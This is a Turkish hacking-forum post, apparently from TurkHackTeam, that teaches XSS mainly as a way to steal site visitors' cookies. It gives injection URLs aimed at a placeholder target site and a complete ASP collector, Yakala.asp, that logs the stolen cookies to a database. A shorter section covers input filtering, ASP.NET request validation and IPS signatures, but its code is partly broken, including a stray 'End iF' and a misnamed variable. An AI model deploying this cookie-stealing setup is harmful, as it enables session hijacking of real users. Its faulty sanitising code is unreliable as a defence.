XSS Açıkları

DarkDesert

Kıdemli Üye
17 Eki 2011
2,043
1
TurkHackTeam
XSS Açıkları Request ile kullanıcıdan alınan verilerin sayfa içinde
Yazdırılması ile oluşur. Örneğin QueryString ile alınan sayfa
numaraları yada ilgili kaydı gösteren id değişkenleri.
http://www.hedefsite/Default.Asp?Page=1 yada
http://www.hedefsite/Product.Asp?id=1
http://www.hedefsite/Default.Asp?Kategori=Haber gibi.

Örnek XSS Açığı ile Ne yapılabilir :

Yukardaki örnekler gibi açığımızı buluyoruz yada hedef sitede
Webservis sayaç kodunun olması yeterli.
Açığımızı bulduktan sonra kullanıcının Cookie'sini _JavaScript
(********.cookie ) ile okuyup istediğimiz bir adresteki veri tabanına
kayıt ediyoruz yada kendimize mail atıyoruz.

-------------------------
http://www.hedefsite.com/Default.Asp?Page=2"> )</SCRIPT>
-------------------------

Saldırgan Url’nin sonuna "> Eklentisi ile Inputların sonlandırılmasını
ve bundan sonra eklenen zararlı kodları Explorer’ın icra etmesini sağlar.

Bu Link’e tıklayan kullanıcının Cookie’si Belirtilen Kaynağa Post edilir.

Yada : Hedef sitede yazdığınız mesajı gösterebilecek uygulamalar var
ise ziyaretçi defteri, forum vb. uygulama
----------------------------
----------------------------
Bu kod ilgili sayfada görüntülendiği anda sayfayı görüntüleyen
kullanıcıların cookielerini alarak yakala.asp dosyasına veri tabanına
kaydetmesi için gönderir.

Web Sayfanızda XSS açıkları kapatılmış Olsada, Webservis Sayac kodu
var ise bu sayesinde XSS Açığı Oluşuyor.
WebServis Tarafından verilen ve Sitenize eklediğiniz;

------------------------------------
wbanner=11;</script>
href=http://www.webservis.gen">http://www.webservis.gen.tr/sayac.js"></script>
-------------------------------------



XSS Açıklarını Engellemek için:

Request ile alınan değerleri her zaman QueryString’de olsa Replace ile
Aşağıdaki şekilde temizleyin

Ve Request verilerini alırken mutlaka tam sayıya çevirin

Recid = CInt(Trim(Server.HTMLEncode("Recid" ) ) )

Recid = Replace(Recid, "<" , "<" ) ’küçüktür
Recid = Replace(Recid, ">" , ">" ) ’büyüktür
Recid = Replace(Recide, "’" , "’" ) ’tek tırnak
Recid = Replace(Recid, Chr(10 ) , "" ) ’Satır Başı
Recid = Replace(Recid, Chr(34 ) , "" ) ’çift tırnak

---------------------------------------------------

ASP.NET ’de

web.config Dosyasında aşağıdaki değişikleri yaptığınızda " ’ "

gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen
hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz

<System.Web>

<Pages validateRequest="True"></Pages>

</System.Web>


IPS Kullanıyor iseniz

Yeni imza yaratıp

Application Layer / HTTP / HTTP.URL_DECODED
Protokolüne;

’ Tek Tırnak,
" Çift Tırnak
< Küçük
> Büyük

Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt
Engelleyebilirsiniz...

----------------------------------------------------------------------------------

Yakala.ASP’den Gelen Verileri yakalamak ve Veritabanına kaydetmek için

Örnek Basit bir ASP Dosyası

X = Request.QueryString("X" ) Yerine
Veri URL’den geleceği için
X = Request.ServerVariables("HTTP_REFERER" ) de Kullanabilirsiniz.

"Yakala.mdb" adında bir database oluşturun "tblYakala" adında bir
tablo ve "Sayfa" Adında (alan tipi Not ) Oalcak şekilde Tasarlayın

--------------------Yakala.Asp-----------------------------------
Kod:
<% 
Dim X 
X = Request.QueryString("X" ) 
%> 

<% 
Dim ConnString,bag 
ConnString = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & 
server.mappath("Yakala.mdb" ) & ";" 
set bag = Server.CreateObject("ADODB.Connection" ) 
bag.Open ConnString 
%> 

<% 
Dim SQL,Rs 
Set Rs=Server.CreateObject("ADODB.Recordset" ) 
SQL="Select * From tblYakala" 
Rs.Open SQL,ConnString,1,3 
End iF 
%> 

<% 
Rs.AddNew 
Rs("Sayfa" )=X 
Rs.Update 
Rs.Close 
%>
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.